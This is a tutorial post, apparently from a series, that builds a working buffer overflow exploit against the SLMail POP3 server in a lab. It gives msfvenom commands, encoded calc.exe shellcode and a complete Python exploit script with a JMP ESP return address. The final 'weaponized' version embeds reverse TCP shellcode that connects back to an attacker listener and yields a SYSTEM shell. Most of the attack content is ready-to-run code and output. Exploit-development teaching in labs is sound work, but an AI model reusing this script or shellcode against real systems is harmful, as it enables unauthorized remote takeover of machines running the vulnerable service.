« prev :: next »


In the last section, we proved that we could control and redirect the program's flow in order to execute code of our choosing. Unfortunately, the only code we've run so far was a NOP Sled. In this section, we'll craft some shellcode, first as a benign Proof-of-Concept, and then as a “weaponized” exploit to get a reverse TCP shell on the target system.


Pop Calc or GTFO

In the world of programmers and hackers, it's not enough to simply tell people that you've got certain skills and capabilities. Talk is cheap. We want proof. Hence the saying, “Proof of Concept or Get The F**k Out” (PoC or GTFO). It's kind of like “pics or it didn't happen.”

While our end-goal is to craft a “weaponized” exploit capable of giving us command-line access to a remote system, we should first write a minimal Proof-of-Concept. A popular approach to this task is to “Pop Calc” — sending a shellcode designed to run the calc.exe program on the target system, thus proving that the exploit worked. There are a few good reasons why “Popping Calc” is a popular PoC approach:

  1. It doesn't involve unreliable or complex network operations.
  2. The shellcode is tiny, requiring very little wiggle room.
  3. It has immediately observable results: if successful, the calculator will pop open on the target computer.
  4. Popping Calc is a safe way to distribute a PoC without providing Skids with live ammunition.

Let's see if we can Pop Calc on the Victim VM.


Designing the Shellcode

To generate the shellcode, I'm going to use a handy tool called msfvenom, part of the Metasploit framework. Since our aim is to execute calc.exe on the Victim VM, I'll use the windows/exec payload:

root@haxys:~/ShareDrive/BoF-SLMail# msfvenom -p windows/exec -f c CMD=calc.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 193 bytes
Final size of c file: 835 bytes
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"
"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
"\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

Wonderful! The shellcode only took 193 bytes. Now we can just slap that sucker in our script and go, right? Well… Not quite.

Take a closer look at the shellcode provided by the tool. Remember our bad characters? The ones that will break the exploit? Well, this shellcode is chock full of ‘em. If we send this exploit as-is, it won't work.

So what do we do about this? Easy! Just tell msfvenom to avoid those characters:

root@haxys:~/ShareDrive/BoF-SLMail# msfvenom -p windows/exec -b "\x00\x0A\x0D" -f c CMD=calc.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 220 (iteration=0)
x86/shikata_ga_nai chosen with final size 220
Payload size: 220 bytes
Final size of c file: 949 bytes
unsigned char buf[] =
"\xba\x64\x2d\x1f\xbc\xda\xd6\xd9\x74\x24\xf4\x5e\x33\xc9\xb1"
"\x31\x83\xee\xfc\x31\x56\x0f\x03\x56\x6b\xcf\xea\x40\x9b\x8d"
"\x15\xb9\x5b\xf2\x9c\x5c\x6a\x32\xfa\x15\xdc\x82\x88\x78\xd0"
"\x69\xdc\x68\x63\x1f\xc9\x9f\xc4\xaa\x2f\x91\xd5\x87\x0c\xb0"
"\x55\xda\x40\x12\x64\x15\x95\x53\xa1\x48\x54\x01\x7a\x06\xcb"
"\xb6\x0f\x52\xd0\x3d\x43\x72\x50\xa1\x13\x75\x71\x74\x28\x2c"
"\x51\x76\xfd\x44\xd8\x60\xe2\x61\x92\x1b\xd0\x1e\x25\xca\x29"
"\xde\x8a\x33\x86\x2d\xd2\x74\x20\xce\xa1\x8c\x53\x73\xb2\x4a"
"\x2e\xaf\x37\x49\x88\x24\xef\xb5\x29\xe8\x76\x3d\x25\x45\xfc"
"\x19\x29\x58\xd1\x11\x55\xd1\xd4\xf5\xdc\xa1\xf2\xd1\x85\x72"
"\x9a\x40\x63\xd4\xa3\x93\xcc\x89\x01\xdf\xe0\xde\x3b\x82\x6e"
"\x20\xc9\xb8\xdc\x22\xd1\xc2\x70\x4b\xe0\x49\x1f\x0c\xfd\x9b"
"\x64\xe2\xb7\x86\xcc\x6b\x1e\x53\x4d\xf6\xa1\x89\x91\x0f\x22"
"\x38\x69\xf4\x3a\x49\x6c\xb0\xfc\xa1\x1c\xa9\x68\xc6\xb3\xca"
"\xb8\xa5\x52\x59\x20\x04\xf1\xd9\xc3\x58";

By specifying bad characters with the -b argument, I instructed msfvenom to seek a shellcode without these characters. In order to do this, the system first creates the original, raw shellcode, then runs that shellcode through various encoders, which encrypt the shellcode and wrap it in a decoder. After each encoding, msfvenom checks the output for bad characters, stopping when it finds a shellcode in which there are none. As you can see, the output above is 220 bytes—27 bytes longer than the raw shellcode—but it contains none of our bad characters.


Crafting the Stager

Our exploit is nearly complete. We've got our shellcode, we've got code execution on the target, and we're itching to pop calc on the Victim VM. There's just one last step we need to take.

When we encrypted our shellcode to avoid bad characters, we wrapped it in extra code which tells the system how to decrypt the shellcode. (In this particular case, msfvenom used the x86/shikata_ga_nai encoder.) These encoders typically require a little extra space to do their work. If we drop the shellcode into the script without a stager, it won't work. (Feel free to try it if you don't believe me.)

Our stager will perform one simple task: Shift ESP to point further up the stack, so that the decoder has room to work. This shift has to be done in multiples of 4 bytes, and doesn't have to be very big. I'll shift ESP 20 bytes up the stack using the SUB ESP,20 assembly call, which I'll translate to binary using msf-metasm_shell:

root@haxys:~/ShareDrive/BoF-SLMail# msf-metasm_shell
type "exit" or "quit" to quit
use ";" or "\n" for newline
type "file <file>" to parse a GAS assembler source file

metasm > sub esp,20
"\x83\xec\x14"

Again, I double-check to make sure the output doesn't contain any bad characters. If it did, I could try ADD ESP,-20 next. Fortunately, however, SUB ESP,20 generated no bad characters. This will be my stager.


Some Assembly Required

It's time to put all the pieces together. I'll clone slmail_bof_11.py into slmail_bof_12.py and modify it to include the stager and payload. I'm also going to change all the padding characters into NOPs, for simplicity's sake. Here's what it looks like:

#!/usr/bin/env python3.7

"""SLMail BoF PoC: Pop Calc."""

import socket
import sys

# Socket information.
TARGET_ADDR = "10.10.10.101"
TARGET_PORT = 110
SOCKET_TIMEOUT = 10

# Exploit details.
MAXIMUM_PAYLOAD = 4089
MAXIMUM_SHELLCODE = 430
EIP_OFFSET = 2606
BAD_CHARS = b"\x00\x0A\x0D"
JMP_ESP = b"\x8F\x35\x4A\x5F"  # JMP ESP in slmfc.dll. (0x5F4A358F)

# Stager: Make space for shellcode decryption.
STAGER = b"\x83\xec\x14"

# Shellcode: Pop Calc.
# msfvenom -p windows/exec -b "\x00\x0A\x0D" -f c CMD=calc.exe
SHELLCODE = (
    b"\xd9\xf7\xba\xb7\x27\x21\xab\xd9\x74\x24\xf4\x5e\x33\xc9\xb1"
    b"\x31\x31\x56\x18\x03\x56\x18\x83\xee\x4b\xc5\xd4\x57\x5b\x88"
    b"\x17\xa8\x9b\xed\x9e\x4d\xaa\x2d\xc4\x06\x9c\x9d\x8e\x4b\x10"
    b"\x55\xc2\x7f\xa3\x1b\xcb\x70\x04\x91\x2d\xbe\x95\x8a\x0e\xa1"
    b"\x15\xd1\x42\x01\x24\x1a\x97\x40\x61\x47\x5a\x10\x3a\x03\xc9"
    b"\x85\x4f\x59\xd2\x2e\x03\x4f\x52\xd2\xd3\x6e\x73\x45\x68\x29"
    b"\x53\x67\xbd\x41\xda\x7f\xa2\x6c\x94\xf4\x10\x1a\x27\xdd\x69"
    b"\xe3\x84\x20\x46\x16\xd4\x65\x60\xc9\xa3\x9f\x93\x74\xb4\x5b"
    b"\xee\xa2\x31\x78\x48\x20\xe1\xa4\x69\xe5\x74\x2e\x65\x42\xf2"
    b"\x68\x69\x55\xd7\x02\x95\xde\xd6\xc4\x1c\xa4\xfc\xc0\x45\x7e"
    b"\x9c\x51\x23\xd1\xa1\x82\x8c\x8e\x07\xc8\x20\xda\x35\x93\x2e"
    b"\x1d\xcb\xa9\x1c\x1d\xd3\xb1\x30\x76\xe2\x3a\xdf\x01\xfb\xe8"
    b"\xa4\xee\x19\x39\xd0\x86\x87\xa8\x59\xcb\x37\x07\x9d\xf2\xbb"
    b"\xa2\x5d\x01\xa3\xc6\x58\x4d\x63\x3a\x10\xde\x06\x3c\x87\xdf"
    b"\x02\x5f\x46\x4c\xce\x8e\xed\xf4\x75\xcf"
)

# Assemble shellcode and stager.
ORDINANCE = b""
ORDINANCE += STAGER
ORDINANCE += SHELLCODE

if len(ORDINANCE) > MAXIMUM_SHELLCODE:
    print("Shellcode is too big for available space!")
    sys.exit(1)

# Construct payload.
PAYLOAD = b""
PAYLOAD += b"\x90" * EIP_OFFSET
PAYLOAD += JMP_ESP  # Overwrite EIP with JMP ESP memory location.
PAYLOAD += ORDINANCE
PAYLOAD += b"\x90" * (MAXIMUM_PAYLOAD - len(PAYLOAD))

OVERFLOW = False
try:
    print("[*] Connecting...")
    SOCKET = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    SOCKET.settimeout(SOCKET_TIMEOUT)
    SOCKET.connect((TARGET_ADDR, TARGET_PORT))
    SOCKET.recv(1024)
    SOCKET.send(b"USER test\r\n")
    SOCKET.recv(1024)
    print("[<] Sending payload...")
    SOCKET.send(b"PASS " + PAYLOAD + b"\r\n")
    OVERFLOW = not SOCKET.recv(1024)
    SOCKET.send(b"QUIT\r\n")
except (socket.timeout, ConnectionResetError):
    OVERFLOW = True
except ConnectionRefusedError:
    print("[!] Connection refused. Is the server running?")
finally:
    SOCKET.close()

print("[!] BoF Success!" if OVERFLOW else "[!] BoF Failed.")

All that's left is to test the script!


Testing, 1 2 3…

One potential problem we might encounter when “Popping Calc” is that calc.exe won't actually pop up visually. This could occur because the exploit could not be triggered, or it could occur because calc.exe was started in a way that it won't appear on the screen.

A daemon is a process on a system that runs in the background, hidden, without user input. When a daemonized process (like SLMail) spawns another process, the spawned process (often called the “child” process) will also be spawned as a daemon.

In the case of SLMail, this results in our calc.exe being spawned as a daemon instead of in the GUI. As such, we won't see the calculator pop up. However, if we monitor the processes running on the Victim VM, we will be able to see if calc.exe gets spawned. Let's take a look at the Windows Task Manager pre-exploit:

Pre-Exploit Task Manager

I've sorted the processes alphabetically so calc.exe will pop up near the top. Next, I ensure that SLMail is running smoothly in Immunity. Finally, I execute the script:

root@haxys:~/ShareDrive/BoF-SLMail# ./slmail_bof_12.py
[*] Connecting...
[<] Sending payload...
[!] BoF Success!

Turning to the Victim VM, I can see that calc.exe has indeed been triggered:

Calc Popped

However, checking on Immunity, I can see that the exploit crashed the service:

Service Crashed

This means that if we were to run the exploit again, it wouldn't work, because SLMail has gone offline. Let's fix this. Before I forget, I kill the currently-running calc.exe process. Then I return to msfvenom to generate an improved payload.


Avoiding the Crash

We don't want our payload to crash the target system. If we plan to weaponize this, we will want to be able to exploit it repeatedly. Let's see what we can do about this. I use msfvenom to see what my options are:

root@haxys:~/ShareDrive/BoF-SLMail# msfvenom -p windows/exec --list-options
Options for payload/windows/exec:
=========================
  ...
Basic options:
Name      Current Setting  Required  Description
----      ---------------  --------  -----------
CMD                        yes       The command string to execute
EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
  ...

The EXITFUNC option allows us to change how the calc.exe process will terminate. By default, it's set to process. Let's change it to thread and see what happens. I'll generate the new shellcode:

root@haxys:~/ShareDrive/BoF-SLMail# msfvenom -p windows/exec -b "\x00\x0A\x0D" -f c CMD=calc.exe EXITFUNC=thread
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 220 (iteration=0)
x86/shikata_ga_nai chosen with final size 220
Payload size: 220 bytes
Final size of c file: 949 bytes
unsigned char buf[] =
"\xd9\xf7\xba\xb7\x27\x21\xab\xd9\x74\x24\xf4\x5e\x33\xc9\xb1"
"\x31\x31\x56\x18\x03\x56\x18\x83\xee\x4b\xc5\xd4\x57\x5b\x88"
"\x17\xa8\x9b\xed\x9e\x4d\xaa\x2d\xc4\x06\x9c\x9d\x8e\x4b\x10"
"\x55\xc2\x7f\xa3\x1b\xcb\x70\x04\x91\x2d\xbe\x95\x8a\x0e\xa1"
"\x15\xd1\x42\x01\x24\x1a\x97\x40\x61\x47\x5a\x10\x3a\x03\xc9"
"\x85\x4f\x59\xd2\x2e\x03\x4f\x52\xd2\xd3\x6e\x73\x45\x68\x29"
"\x53\x67\xbd\x41\xda\x7f\xa2\x6c\x94\xf4\x10\x1a\x27\xdd\x69"
"\xe3\x84\x20\x46\x16\xd4\x65\x60\xc9\xa3\x9f\x93\x74\xb4\x5b"
"\xee\xa2\x31\x78\x48\x20\xe1\xa4\x69\xe5\x74\x2e\x65\x42\xf2"
"\x68\x69\x55\xd7\x02\x95\xde\xd6\xc4\x1c\xa4\xfc\xc0\x45\x7e"
"\x9c\x51\x23\xd1\xa1\x82\x8c\x8e\x07\xc8\x20\xda\x35\x93\x2e"
"\x1d\xcb\xa9\x1c\x1d\xd3\xb1\x30\x76\xe2\x3a\xdf\x01\xfb\xe8"
"\xa4\xee\x19\x39\xd0\x86\x87\xa8\x59\xcb\x37\x07\x9d\xf2\xbb"
"\xa2\x5d\x01\xa3\xc6\x58\x4d\x63\x3a\x10\xde\x06\x3c\x87\xdf"
"\x02\x5f\x46\x4c\xce\x8e\xed\xf4\x75\xcf";

I replace the old shellcode with the new shellcode in slmail_bof_12.py, then double-check to ensure that calc.exe is not running on the target system. Finally, I run the script again, and watch the task manager as well as Immunity:

Calc Popped Again… Without Crash

Excellent! We popped calc again, and this time without crashing SLMail! By setting the exit function to thread, we avoided terminating the whole process, instead only terminating the thread that spawned calc.exe.

At this point, we've got a working PoC exploit. If this were a 0-day, we could disclose it to the SLMail developers and give them time to create a patch before releasing this code to the public, and in neither case would we be providing anyone with a weaponized exploit. Most script kiddies wouldn't know how to make this script useful, but it's good enough to prove that the exploit works.

But we don't want to settle for “good enough,” do we? Let's weaponize this sucker.


Going Ballistic

We can use msfvenom to generate another useful payload: the TCP reverse shell. This will give us remote access from our Attacker VM to cmd.exe on the Victim VM, allowing us to control the machine. Shells are nice. We like shells.

Just don't ask me to explain the three seashells. That is beyond the scope of this tutorial.

I'll use msfvenom to generate a reverse TCP shellcode using the windows/shell_reverse_tcp payload. First, let's look at the options:

root@haxys:~/ShareDrive/BoF-SLMail# msfvenom -p windows/shell_reverse_tcp --list-options
Options for payload/windows/shell_reverse_tcp:
=========================
  ...
Basic options:
Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST                      yes       The listen address (an interface may be specified)
LPORT     4444             yes       The listen port

Description:
  Connect back to attacker and spawn a command shell
  ...

Once again we see the EXITFUNC option. We'll set this to thread, as we did before. We'll also need to set LHOST and LPORT to point to a netcat listener on the Attacker VM. I'll use port 443, and the Attack VM's IP is 10.10.10.100. Let's generate the shellcode:

root@haxys:~/ShareDrive/BoF-SLMail# msfvenom -p windows/shell_reverse_tcp -b "\x00\x0A\x0D" -f c EXITFUNC=thread LHOST=10.10.10.100 LPORT=443
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of c file: 1500 bytes
unsigned char buf[] =
"\xbf\x3d\xee\x89\x98\xda\xda\xd9\x74\x24\xf4\x58\x29\xc9\xb1"
"\x52\x31\x78\x12\x83\xc0\x04\x03\x45\xe0\x6b\x6d\x49\x14\xe9"
"\x8e\xb1\xe5\x8e\x07\x54\xd4\x8e\x7c\x1d\x47\x3f\xf6\x73\x64"
"\xb4\x5a\x67\xff\xb8\x72\x88\x48\x76\xa5\xa7\x49\x2b\x95\xa6"
"\xc9\x36\xca\x08\xf3\xf8\x1f\x49\x34\xe4\xd2\x1b\xed\x62\x40"
"\x8b\x9a\x3f\x59\x20\xd0\xae\xd9\xd5\xa1\xd1\xc8\x48\xb9\x8b"
"\xca\x6b\x6e\xa0\x42\x73\x73\x8d\x1d\x08\x47\x79\x9c\xd8\x99"
"\x82\x33\x25\x16\x71\x4d\x62\x91\x6a\x38\x9a\xe1\x17\x3b\x59"
"\x9b\xc3\xce\x79\x3b\x87\x69\xa5\xbd\x44\xef\x2e\xb1\x21\x7b"
"\x68\xd6\xb4\xa8\x03\xe2\x3d\x4f\xc3\x62\x05\x74\xc7\x2f\xdd"
"\x15\x5e\x8a\xb0\x2a\x80\x75\x6c\x8f\xcb\x98\x79\xa2\x96\xf4"
"\x4e\x8f\x28\x05\xd9\x98\x5b\x37\x46\x33\xf3\x7b\x0f\x9d\x04"
"\x7b\x3a\x59\x9a\x82\xc5\x9a\xb3\x40\x91\xca\xab\x61\x9a\x80"
"\x2b\x8d\x4f\x06\x7b\x21\x20\xe7\x2b\x81\x90\x8f\x21\x0e\xce"
"\xb0\x4a\xc4\x67\x5a\xb1\x8f\x8d\x91\xb3\x2b\xfa\xa7\xc3\xb2"
"\x41\x2e\x25\xde\xa5\x67\xfe\x77\x5f\x22\x74\xe9\xa0\xf8\xf1"
"\x29\x2a\x0f\x06\xe7\xdb\x7a\x14\x90\x2b\x31\x46\x37\x33\xef"
"\xee\xdb\xa6\x74\xee\x92\xda\x22\xb9\xf3\x2d\x3b\x2f\xee\x14"
"\x95\x4d\xf3\xc1\xde\xd5\x28\x32\xe0\xd4\xbd\x0e\xc6\xc6\x7b"
"\x8e\x42\xb2\xd3\xd9\x1c\x6c\x92\xb3\xee\xc6\x4c\x6f\xb9\x8e"
"\x09\x43\x7a\xc8\x15\x8e\x0c\x34\xa7\x67\x49\x4b\x08\xe0\x5d"
"\x34\x74\x90\xa2\xef\x3c\xb0\x40\x25\x49\x59\xdd\xac\xf0\x04"
"\xde\x1b\x36\x31\x5d\xa9\xc7\xc6\x7d\xd8\xc2\x83\x39\x31\xbf"
"\x9c\xaf\x35\x6c\x9c\xe5";

The first thing we should notice is that this shellcode is significantly larger than the first, weighing in at 351 bytes. Fortunately, we've got 427 bytes to play with—430 bytes of shellcode space, minus three for the stager—so we've got plenty of space. I copy slmail_bof_12.py into slmail_bof_13.py and replace the shellcode:

#!/usr/bin/env python3.7

"""SLMail BoF PoC: Reverse TCP Shell."""

import socket
import sys

# Socket information.
TARGET_ADDR = "10.10.10.101"
TARGET_PORT = 110
SOCKET_TIMEOUT = 10

# Exploit details.
MAXIMUM_PAYLOAD = 4089
MAXIMUM_SHELLCODE = 430
EIP_OFFSET = 2606
BAD_CHARS = b"\x00\x0A\x0D"
JMP_ESP = b"\x8F\x35\x4A\x5F"  # JMP ESP in slmfc.dll. (0x5F4A358F)

# Stager: Make space for shellcode decryption.
STAGER = b"\x83\xec\x14"

# Shellcode: Reverse TCP Shell.
# msfvenom -p windows/shell_reverse_tcp -b "\x00\x0A\x0D" -f c \
#          EXITFUNC=thread LHOST=10.10.10.100 LPORT=443
SHELLCODE = (
    b"\xbf\x3d\xee\x89\x98\xda\xda\xd9\x74\x24\xf4\x58\x29\xc9\xb1"
    b"\x52\x31\x78\x12\x83\xc0\x04\x03\x45\xe0\x6b\x6d\x49\x14\xe9"
    b"\x8e\xb1\xe5\x8e\x07\x54\xd4\x8e\x7c\x1d\x47\x3f\xf6\x73\x64"
    b"\xb4\x5a\x67\xff\xb8\x72\x88\x48\x76\xa5\xa7\x49\x2b\x95\xa6"
    b"\xc9\x36\xca\x08\xf3\xf8\x1f\x49\x34\xe4\xd2\x1b\xed\x62\x40"
    b"\x8b\x9a\x3f\x59\x20\xd0\xae\xd9\xd5\xa1\xd1\xc8\x48\xb9\x8b"
    b"\xca\x6b\x6e\xa0\x42\x73\x73\x8d\x1d\x08\x47\x79\x9c\xd8\x99"
    b"\x82\x33\x25\x16\x71\x4d\x62\x91\x6a\x38\x9a\xe1\x17\x3b\x59"
    b"\x9b\xc3\xce\x79\x3b\x87\x69\xa5\xbd\x44\xef\x2e\xb1\x21\x7b"
    b"\x68\xd6\xb4\xa8\x03\xe2\x3d\x4f\xc3\x62\x05\x74\xc7\x2f\xdd"
    b"\x15\x5e\x8a\xb0\x2a\x80\x75\x6c\x8f\xcb\x98\x79\xa2\x96\xf4"
    b"\x4e\x8f\x28\x05\xd9\x98\x5b\x37\x46\x33\xf3\x7b\x0f\x9d\x04"
    b"\x7b\x3a\x59\x9a\x82\xc5\x9a\xb3\x40\x91\xca\xab\x61\x9a\x80"
    b"\x2b\x8d\x4f\x06\x7b\x21\x20\xe7\x2b\x81\x90\x8f\x21\x0e\xce"
    b"\xb0\x4a\xc4\x67\x5a\xb1\x8f\x8d\x91\xb3\x2b\xfa\xa7\xc3\xb2"
    b"\x41\x2e\x25\xde\xa5\x67\xfe\x77\x5f\x22\x74\xe9\xa0\xf8\xf1"
    b"\x29\x2a\x0f\x06\xe7\xdb\x7a\x14\x90\x2b\x31\x46\x37\x33\xef"
    b"\xee\xdb\xa6\x74\xee\x92\xda\x22\xb9\xf3\x2d\x3b\x2f\xee\x14"
    b"\x95\x4d\xf3\xc1\xde\xd5\x28\x32\xe0\xd4\xbd\x0e\xc6\xc6\x7b"
    b"\x8e\x42\xb2\xd3\xd9\x1c\x6c\x92\xb3\xee\xc6\x4c\x6f\xb9\x8e"
    b"\x09\x43\x7a\xc8\x15\x8e\x0c\x34\xa7\x67\x49\x4b\x08\xe0\x5d"
    b"\x34\x74\x90\xa2\xef\x3c\xb0\x40\x25\x49\x59\xdd\xac\xf0\x04"
    b"\xde\x1b\x36\x31\x5d\xa9\xc7\xc6\x7d\xd8\xc2\x83\x39\x31\xbf"
    b"\x9c\xaf\x35\x6c\x9c\xe5"
)

# Assemble shellcode and stager.
ORDINANCE = b""
ORDINANCE += STAGER
ORDINANCE += SHELLCODE

if len(ORDINANCE) > MAXIMUM_SHELLCODE:
    print("Shellcode is too big for available space!")
    sys.exit(1)

# Construct payload.
PAYLOAD = b""
PAYLOAD += b"\x90" * EIP_OFFSET
PAYLOAD += JMP_ESP  # Overwrite EIP with JMP ESP memory location.
PAYLOAD += ORDINANCE
PAYLOAD += b"\x90" * (MAXIMUM_PAYLOAD - len(PAYLOAD))

OVERFLOW = False
try:
    print("[*] Connecting...")
    SOCKET = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    SOCKET.settimeout(SOCKET_TIMEOUT)
    SOCKET.connect((TARGET_ADDR, TARGET_PORT))
    SOCKET.recv(1024)
    SOCKET.send(b"USER test\r\n")
    SOCKET.recv(1024)
    print("[<] Sending payload...")
    SOCKET.send(b"PASS " + PAYLOAD + b"\r\n")
    OVERFLOW = not SOCKET.recv(1024)
    SOCKET.send(b"QUIT\r\n")
except (socket.timeout, ConnectionResetError):
    OVERFLOW = True
except ConnectionRefusedError:
    print("[!] Connection refused. Is the server running?")
finally:
    SOCKET.close()

print("[!] BoF Success!" if OVERFLOW else "[!] BoF Failed.")

Before I test the script, I open a netcat listener on my Attacker VM, listening on port 443:

root@haxys:~/ShareDrive/BoF-SLMail# nc -vnlp 443
listening on [any] 443 ...

Finally, I execute the script:

root@haxys:~/ShareDrive/BoF-SLMail# ./edit 13
rm: cannot remove 'slmail_bof_13.py': No such file or directory
[*] Connecting...
[<] Sending payload...
[!] BoF Success!

Returning to netcat, I'm greeted by a fresh shell:

root@haxys:~/ShareDrive/BoF-SLMail# nc -vnlp 443
listening on [any] 443 ...
connect to [10.10.10.100] from (UNKNOWN) [10.10.10.101] 49158
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Program Files\SLmail\System>whoami
whoami
nt authority\system

I've got full administrative control over the target system. Checking on SLMail in Immunity, I see that it's still up and running as if nothing happened. I can exploit the system as often as I'd like now, without causing it to crash.

If we revisit the house party analogy, not only did we get past the bouncer… we now own the house. This is our party now!


Conclusion

We've completed our quest and achieved what we set out to do: we constructed a fully-functional exploit to gain remote access to a target system. Great work!

At this point, we might be able to call this code “weaponized,” since it works flawlessly against our target and gives us access. However, I wouldn't truly call it “weaponized” until it can be incorporated into a framework that allows you to easily swap out payloads and targets effortlessly. In the next tutorial, we'll walk through the process of turning this exploit into a module for Metasploit, a framework designed for just this purpose.


« prev :: next »